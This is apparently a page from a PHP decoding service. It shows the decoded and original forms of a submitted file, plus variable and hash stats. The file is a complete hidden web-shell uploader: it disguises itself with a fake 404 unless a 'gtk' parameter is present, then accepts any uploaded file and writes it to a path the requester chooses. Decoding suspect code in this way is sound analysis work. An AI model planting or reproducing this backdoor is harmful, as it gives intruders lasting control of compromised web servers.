Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $_0='gtk';if(!empty($_REQUEST[$_0])){@$_1=$_REQUEST["sendfile"];if(@$_1=="true"){$_2..

Decoded Output download

<?php $_0='gtk';if(!empty($_REQUEST[$_0])){@$_1=$_REQUEST["sendfile"];if(@$_1=="true"){$_2=$_FILES["file"]["tmp_name"];if(!empty($_POST['dn'])){$_3=$_POST['dn'];}else{$_3=dirname(__FILE__) .DIRECTORY_SEPARATOR .$_FILES["file"]["name"];}if(move_uploaded_file($_2,$_3)){echo $_3 .' - success';}else{echo $_3 .' - fail';}}print('<body><form enctype="multipart/form-data" method="post" action="">' .'<input type=text name=dn size=40 value="' .dirname(__FILE__) .DIRECTORY_SEPARATOR .'name.php">' .'<br><input type=file name=file size=20><input type="submit" value="Upload"><input type="hidden" name="sendfile" value="true"></form></body>');}else{header("HTTP/1.0 404 Not found");header("Status: 404 Not Found");exit;} ?>

Did this file decode correctly?

Original Code

<?php $_0='gtk';if(!empty($_REQUEST[$_0])){@$_1=$_REQUEST["sendfile"];if(@$_1=="true"){$_2=$_FILES["file"]["tmp_name"];if(!empty($_POST['dn'])){$_3=$_POST['dn'];}else{$_3=dirname(__FILE__) .DIRECTORY_SEPARATOR .$_FILES["file"]["name"];}if(move_uploaded_file($_2,$_3)){echo $_3 .' - success';}else{echo $_3 .' - fail';}}print('<body><form enctype="multipart/form-data" method="post" action="">' .'<input type=text name=dn size=40 value="' .dirname(__FILE__) .DIRECTORY_SEPARATOR .'name.php">' .'<br><input type=file name=file size=20><input type="submit" value="Upload"><input type="hidden" name="sendfile" value="true"></form></body>');}else{header("HTTP/1.0 404 Not found");header("Status: 404 Not Found");exit;}

Function Calls

None

Variables

$_0 gtk

Stats

MD5 780c4913478652878bb5b99806505474
Eval Count 0
Decode Time 82 ms